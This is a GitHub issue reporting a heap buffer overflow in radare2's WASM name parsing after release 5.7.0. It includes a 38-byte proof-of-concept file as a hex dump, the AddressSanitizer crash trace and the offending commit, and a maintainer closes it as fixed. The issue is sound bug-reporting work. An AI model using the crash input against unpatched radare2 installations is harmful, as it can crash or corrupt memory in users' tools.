New issue

Jump to bottom

heap-buffer-overflow in WASM name handling after 5.7.0 release #20336

Closed chinggg opened this issue on Jun 20 · 1 comment

chinggg commented on Jun 20 • edited Contributor

Environment

```
Mon Jun 20 03:01:00 PM CST 2022
radare2 5.7.0 28296 @ linux-x86-64 git.5.7.0
commit: 09569c1d5c324df7f23bdc9ad864ac1c25925745 build: 2022-06-20__11:48:07
Linux x86_64
```

Description

After 5.7.0 release, a heap buffer overflow can be found in function `consume_encoded_name_new` in `format/wasm/wasm.c` via openning a crafted binary file with r2.

Test

1. Build Radare2 with AddressSanitizer enabled. (Just execute `./sys/sanitize.sh`)
2. Make a PoC file with size of just 38 bytes. Save the content below as `hex.txt`

```
00000000: 0061 736d 7f00 0000 0001 0dff 7436 ff8b  .asm........t6..
00000010: 3000 3e01 499f 1000 fc00 7f45 4c46 80ff  0.>.I......ELF..
00000020: fe61 73ff 0240                           .as..@
```

`xxd -r hex.txt > PoCfile` to create the poc file

3. `r2 PoCfile`

```
==1862034==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6060000156b8 at pc
0x7fd01225622c bp 0x7ffc007f6a20 sp 0x7ffc007f6a10
```

```
WRITE of size 1 at 0x6060000156b8 thread T0
    #0 0x7fd01225622b in consume_encoded_name_new
/home/ubuntu/radare2/libr/..//libr/bin/p/../format/wasm/wasm.c:147
    #1 0x7fd01225c4da in r_bin_wasm_get_sections
/home/ubuntu/radare2/libr/..//libr/bin/p/../format/wasm/wasm.c:955
    #2 0x7fd01225b053 in r_bin_wasm_init
/home/ubuntu/radare2/libr/..//libr/bin/p/../format/wasm/wasm.c:872
    #3 0x7fd0122501e2 in load_buffer /home/ubuntu/radare2/libr/..//libr/bin/p/bin_wasm.c:29
    #4 0x7fd011e1352c in r_bin_object_new /home/ubuntu/radare2/libr/bin/bobj.c:149
    #5 0x7fd011e08513 in r_bin_file_new_from_buffer /home/ubuntu/radare2/libr/bin/bfile.c:592
    #6 0x7fd011dc5baa in r_bin_open_buf /home/ubuntu/radare2/libr/bin/bin.c:285
    #7 0x7fd011dc6996 in r_bin_open_io /home/ubuntu/radare2/libr/bin/bin.c:345
    #8 0x7fd0142a6b57 in r_core_file_do_load_for_io_plugin
/home/ubuntu/radare2/libr/core/cfile.c:436
    #9 0x7fd0142a96fb in r_core_bin_load /home/ubuntu/radare2/libr/core/cfile.c:637
    #10 0x7fd019bb1d8f in r_main_radare2 /home/ubuntu/radare2/libr/main/radare2.c:1256
    #11 0x5557ff52696e in main /home/ubuntu/radare2/binr/radare2/radare2.c:104
    #12 0x7fd018faf082 in __libc_start_main ../csu/libc-start.c:308
    #13 0x5557ff52630d in _start (/home/ubuntu/radare2/binr/radare2/radare2+0x230d)

0x6060000156b8 is located 2 bytes to the right of 54-byte region [0x606000015680,0x6060000156b6)
allocated by thread T0 here:
    #0 0x7fd01ad24808 in __interceptor_malloc
../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144
    #1 0x7fd0122552f4 in consume_encoded_name_new
/home/ubuntu/radare2/libr/..//libr/bin/p/../format/wasm/wasm.c:133
    #2 0x7fd01225c4da in r_bin_wasm_get_sections
/home/ubuntu/radare2/libr/..//libr/bin/p/../format/wasm/wasm.c:955
```

The vulnerable code is introduced in `b0129d7` #diff-4d372afc1ec76c51b9f2f402ae1b543c699030475eb192b8d49ec8dd47f04b0cR132-R147

👍 1

trufae closed this as completed in `b4ca66f` on Jun 20

---

trufae commented on Jun 20 — Contributor

Thank you! that's a nice spot!

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

---

2 participants